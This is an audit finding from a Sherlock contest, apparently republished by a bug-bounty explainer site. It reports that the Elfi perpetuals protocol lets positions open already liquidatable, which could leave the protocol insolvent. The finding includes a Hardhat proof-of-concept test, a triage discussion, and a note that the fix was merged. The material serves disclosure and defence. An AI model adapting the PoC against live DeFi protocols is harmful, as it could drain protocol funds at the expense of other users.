Keepers can open positions that are already liquidatable
The protocol does not check whether a newly opened position would be immediately liquidatable. An attacker could open a position that is already liquidatable, potentially causing protocol insolvency if the liquidation loss exceeds the collateral.
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2024-05-elfi-protocol-judging/issues/27
Found by
mstpr-brainbot
Summary
Users positions can be opened already liquidated because there are no checks when the position is opened whether the position is liquidatable or not.
Vulnerability Detail
When users submit their order requests, the requests are never validated to determine if they will be liquidatable immediately. That being said, in very volatile markets or with users' greedy positions, positions(isolated) or accounts(cross) can be liquidated immediately upon opening.
Coded PoC:
it("Keeper opens a position that is liqable already", async function () {
const usdcAmount = precision.token(1000, 6);
await deposit(fixture, {
account: user0,
token: usdc,
amount: usdcAmount,
});
const orderMargin = precision.token(5000); // 5000$
const executionFee = precision.token(2, 15);
const tx = await orderFacet.connect(user0).createOrderRequest(
{
symbol: btcUsd,
orderSide: OrderSide.LONG,
posSide: PositionSide.INCREASE,
orderType: OrderType.MARKET,
stopType: StopType.NONE,
isCrossMargin: true,
marginToken: wbtcAddr,
qty: 0,
leverage: precision.rate(5),
triggerPrice: 0,
acceptablePrice: 0,
executionFee: executionFee,
placeTime: 0,
orderMargin: orderMargin,
isNativeToken: false,
},
{
value: executionFee,
}
);
await tx.wait();
const tokenPrice = precision.price(25000);
const usdcPrice = precision.price(100, 6); // 0.99$
const oracle = [
{
token: wbtcAddr,
targetToken: ethers.ZeroAddress,
minPrice: tokenPrice,
maxPrice: tokenPrice,
},
{
token: usdcAddr,
targetToken: ethers.ZeroAddress,
minPrice: usdcPrice,
maxPrice: usdcPrice,
},
];
const requestId = await marketFacet.getLastUuid(ORDER_ID_KEY);
await orderFacet.connect(user3).executeOrder(requestId, oracle);
const nextWbtcPrice = precision.price(18000);
const nextOracle = [
{
token: wbtcAddr,
targetToken: ethers.ZeroAddress,
minPrice: nextWbtcPrice,
maxPrice: nextWbtcPrice,
},
{
token: usdcAddr,
targetToken: ethers.ZeroAddress,
minPrice: usdcPrice,
maxPrice: usdcPrice,
},
];
// @dev: added this function to facet to see if the account is liquidatable in this test
const isLiqable = await accountFacet.getIsLiqableTapir(
user0.address,
nextOracle
);
console.log("is liqable", isLiqable);
expect(isLiqable).to.be.equal(true);
const positionInfo = await positionFacet.getSinglePosition(
user0.address,
btcUsd,
wbtcAddr,
true
);
const tx2 = await orderFacet.connect(user0).createOrderRequest(
{
symbol: btcUsd,
orderSide: OrderSide.SHORT,
posSide: PositionSide.DECREASE,
orderType: OrderType.MARKET,
stopType: StopType.NONE,
isCrossMargin: true,
marginToken: wbtcAddr,
qty: positionInfo.qty,
leverage: precision.rate(5),
triggerPrice: 0,
acceptablePrice: 0,
executionFee: executionFee,
placeTime: 0,
orderMargin: orderMargin,
isNativeToken: false,
},
{
value: executionFee,
}
);
await tx2.wait();
const requestId2 = await marketFacet.getLastUuid(ORDER_ID_KEY);
await orderFacet.connect(user3).executeOrder(requestId2, nextOracle);
});
Impact
Protocol can be insolvent if the liquidation is too deep such that the accounts collateral is not enough to cover the potential losses.
Code Snippet
Tool used
Manual Review
Recommendation
check if the opened position will make the account liquidatable at the end of the execute order.
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/0xCedar/elfi-perp-contracts/pull/23
nevillehuang
@mstpr Isn't this an OOS keeper bot error? Seems invalid
mstpr
@mstpr Isn't this an OOS keeper bot error? Seems invalid
Not really.
1- Keepers were RESTRICTED in the contest which means they only execute positions. 2- Since opening positions are 2 step, creating request and executing it, if user opens a greedy position where it gets liquidatable by the time its actually executed then it wouldn't even be keepers fault
sherlock-admin2
The Lead Senior Watson signed off on the fix.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the order execution logic does not validate whether the resulting position would be immediately liquidatable.
Impact
The protocol could become insolvent if the liquidation loss is too deep and the account's collateral is insufficient to cover it.
What the attacker needed
A user account with collateral; a keeper to execute orders; volatile market conditions
The fix
The protocol team fixed this issue by adding a check at the end of order execution to see if the account would be liquidatable.
How it was found
- User deposits collateral and creates a market order request to open a leveraged long position.
- A keeper executes the order using an oracle price.
- The oracle price then drops significantly, making the position liquidatable.
- The user creates a market order to decrease the position.
- A keeper executes the decrease order, realising the loss.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In leveraged trading, a position becomes liquidatable when its losses exceed the collateral. This protocol allows a user to open a position that is already in that state, meaning it can be liquidated right away. If the liquidation causes a loss larger than the user's collateral, the protocol may have to cover the shortfall.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.